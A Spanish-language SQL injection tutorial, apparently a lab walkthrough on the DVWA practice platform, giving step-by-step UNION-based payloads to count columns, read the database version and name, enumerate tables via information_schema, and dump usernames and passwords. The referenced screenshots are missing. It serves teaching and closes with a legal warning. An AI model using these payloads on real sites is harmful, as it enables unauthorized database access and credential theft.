Bueno ya hemos demostrado que la pagina es vulnerable, ahora pasaremos a sacar todos los datos posibles de la base de datos, nombres de usuarios,contraseñas....
Para conseguir esto inyectaremos algunas sentencias sql que nos devolveran los datos que queremos obtener. Asi que empecemos:
1º Vamos a empezar por investigar un poco, si ponemos un numero cualquiera en User ID observaremos lo siguente:
2º Ahora vamos a comprobar de cuantas columnas disponemos para obtener los resultados, para ello usamos la siguiente sentencia sql:
1' and 1=0 order by X #
donde X es un numero desde el 1 hasta que nos muestre esto en pantalla:
"Unknown column 'X' in 'order clause'"
Con esto descubrimos el numero de columnas que en el caso de nuestra practica es de 2 columnas ya que al colocar 1' and 1=0 order by 3 nos muestra Unknown column '3' in 'order clause'.
Comprobemos que es verdad que podemos inyectar algo en esas 2 columnas mediante la siguiente sentencia:
1' and 1=0 union select 1,2 #
Nos saldra algo como esto:
Incluso podriamos probar con una cadena de caracteres del siguiente modo.
1' and 1=0 union select 'HOLA','ESTO ES UNA PRUEBA' #
Y nos saldria esto:
3º Ahora que esta ya todo preparado, procederemos a sacar toda la informacion que queramos.
Primero obtendremos la version de la Base de Datos, para ello usaremos la sentencia
1' and 1=0 union select null,Version() #
He modificado el 1 por null y que con una sola columna para mostrar los datos nos sobra. Bueno pues si usamos esa sentencia se nos mostrara esto:
Ya tenemos la version: 5.5.16
Ahora procederemos a sacar el nombre de la base de datos, para hacerlo usamos la sentencia
1' and 1=0 union select null,database() #
Mostrara esto:
Ahora investigamos las tablas para ver si damos con algo que nos sea de utilidad, para ello usamos la sentencia
1' and 1=0 union select null,table_name from information_schema.tables where table_schema!='msql' and table_schema!='information_schema'#
que lo hace es mostrarnos los nombre de las tablas que posee la base de datos. Al hacerlo nos damos cuenta de que existe una tabla users que sera donde estaran los datos importantes de los usuarios de la base de datos.
Ahora modificamos la anterior sentencia para obtener los nombres de las columnas de la tabla users para ver si encontramos algo aun mas interesante que poder conseguir. La sentencia quedaria asi:
1' and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'#
Y nos mostraria algo como esto:
Como veis hemos obtenido varios nombres bastante interesantes pero hay dos que son los mas importantes, los nombres de usuarios y los passwords. Asi que ahora procederemos a obtener los users y los password de los usuarios de la base de datos.
Para ello utilizaremos la siguiente sentencia:
1' and 1=0 union select null,concat(user,0x0a,password) from users #
Y saldra una pantalla como esta:
Como podemos comprobar mediante inyeccion de sentencias sql en una pagina web podemos obtener (siempre y cuando la pagina sea vulnerable) los datos de toda la base de datos de la pagina en cuestion.
A modo de epilogo contar que esta practica de ataque sql injection ha sido realizado mediante una plataforma hecha para dicho proposito (DVWA) y que hacerlo en una pagina web en la que no se esté autorizado puede acarrear al atacante problemas legales...